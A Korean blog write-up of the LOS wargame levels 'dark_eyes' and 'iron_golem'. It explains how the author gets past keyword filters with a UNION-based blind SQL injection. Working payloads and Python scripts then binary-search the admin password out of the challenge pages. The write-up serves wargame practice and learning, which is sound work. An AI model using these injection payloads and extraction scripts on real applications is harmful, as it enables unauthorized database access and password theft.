LOS : https://los.rubiya.kr/
✔️ 문제
문제는 다음과 같다.
이번에도 패스워드를 알아내는 문제인 듯하다.
✔️ 풀이
풀이를 위한 코드는 다음과 같다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
이번에는 이전에 사용했던 페이로드는 사용하지 못하는 것이,
if에 대한 필터링이 걸려있고 이외에도 col, case, whe, sleep, benchmark에
대한 문자열 필터링이 걸려있다.
그리고 친절하게 db 에러를 출력해주지 않고,
아무것도 출력해주지 않는 상태로 exit를 내보낸다.
위에는 사진인데, 싱글쿼터만 보내면 해당 응답받는 텍스트가
아무것도 없이 exit() 코드가 실행된 모습이다.
if 문이 아닌 다른 구문으로 페이로드를 구성해보도록 하자.
이전에 사용했던 select 1 union select 2 라는 구문은
다음과 같이 2개의 구문을 사용하는 역할을 한다.
UNION은 중복 행을 제거하여 출력하거나,
쿼리문을 합칠 때 주로 사용하게 되는데
해당 UNION 연산자 결과처럼 해당 구문에 대해서
사진 출처에 담긴 글을 참고하여 공부하였다.
그렇다면 당연히 select 1 union select 1을 하면
중복을 제거하고 1개만 출력될 것이다.
이러한 원리를 이용하여 우리는 2번째 개행에
페이로드를 작성하여 패스워드 길이를 알아내고,
알아낸 패스워드를 기반으로 패스워드를 탐색할 수 있을 것이다.
예를 들어서 admin의 패스워드 길이를 알아내고 싶다고 한다면
다음과 같이 구문을 사용할 수 있다.
해당 페이로드를 입력하였을 때,
아무런 반응이 없으므로 16자 이상이 될 것이고
부등호를 length(pw) > 16으로 바꾸어주면
exit() 코드를 실행하면서 하얀색 바탕의 빈 페이지가 출력될 것이다.
이를 이용하여 스크립트를 작성하고 패스워드 길이를 알아보자.
import requests
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and (select 1 union select length(pw)={}) #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if " " in request.text:
return length
else:
length += 1
print("패스워드 길이:", pw_length())
다음과 같이 8자리인 것을 확인하였으니,
이전 스크립트를 수정하여 페이로드를 작성해보자.
import requests
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and (select 1 union select length(pw)={}) #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if " " in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
start, end, mid = 1, 127, 64
while True:
params = { "pw" : "' or id='admin' and (select 1 union select ascii(substring(pw, {}, 1))={}) #".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if " " in request.text:
password = password + chr(mid)
print("패스워드:", password)
break
else:
params = { "pw" : "' or id='admin' and (select 1 union select ascii(substring(pw, {}, 1))>{}) #".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if " " in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
pw_crack()
다음과 같이 스크립트를 돌려보면 8자리의 패스워드를
획득할 수 있고, GET 방식으로 보내게 되면
문제를 성공적으로 풀게 된다!
그렇다면, 여기서 드는 의문은 이전에 if문을 사용했었는데
if문을 사용하지 않고도 union 구문을 통해서 pw를 알 수 있지 않을까?
하는 생각을 할 수 있다. 이것저것 검색을 통해 if문을 사용하여
error based injection을 시도할 수 있다는 것이 하나의 가설이였는데
동일하게 적용할 수 있겠다는 생각을 하게 되었다.
역으로 iron_golem 문제에서는 32자가 맞으므로
error 구문이 아닌 text에 select id from prob_iron_golem 문자열이 있으면
해당 구문이 참인것을 이용하여 다른 풀이로도 풀 수 있게 된다.
import requests
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookies = { "PHPSESSID" : "쿠키값" }
def pw_length():
length = 1
while True:
params = { "pw" : "' or id='admin' and (select 1 union select length(pw)={}) #".format(length) }
request = requests.get(url, params=params, cookies=cookies)
if "select id from prob_iron_golem" in request.text:
return length
else:
length += 1
def pw_crack():
password_length = pw_length()
password = ''
for i in range(1, password_length+1):
start, end, mid = 1, 127, 64
while True:
params = { "pw" : "' or id='admin' and (select 1 union select hex(mid(pw, {}, 1)) in ({})) #".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if "select id from prob_iron_golem" in request.text:
password = password + chr(int(str(mid), 16))
print("패스워드:", password)
break
else:
params = { "pw" : "' or id='admin' and (select 1 union select hex(mid(pw, {}, 1)) > {}) #".format(i, mid) }
request = requests.get(url, params=params, cookies=cookies)
if "select id from prob_iron_golem" in request.text:
start = mid
mid = (mid + end) // 2
else:
end = mid
mid = (start + end) // 2
pw_crack()
이전 문제 복습겸 새로운 풀이 방법도 공부할 수 있었다.
화이팅 💪
'보안 > LOS' 카테고리의 다른 글
[LOS] evil_wizard (0) | 2022.12.29 |
---|---|
[LOS] hell_fire (0) | 2022.12.29 |
[LOS] iron_golem (0) | 2022.12.27 |
[LOS] dragon (0) | 2022.12.27 |
[LOS] xavis (0) | 2022.12.24 |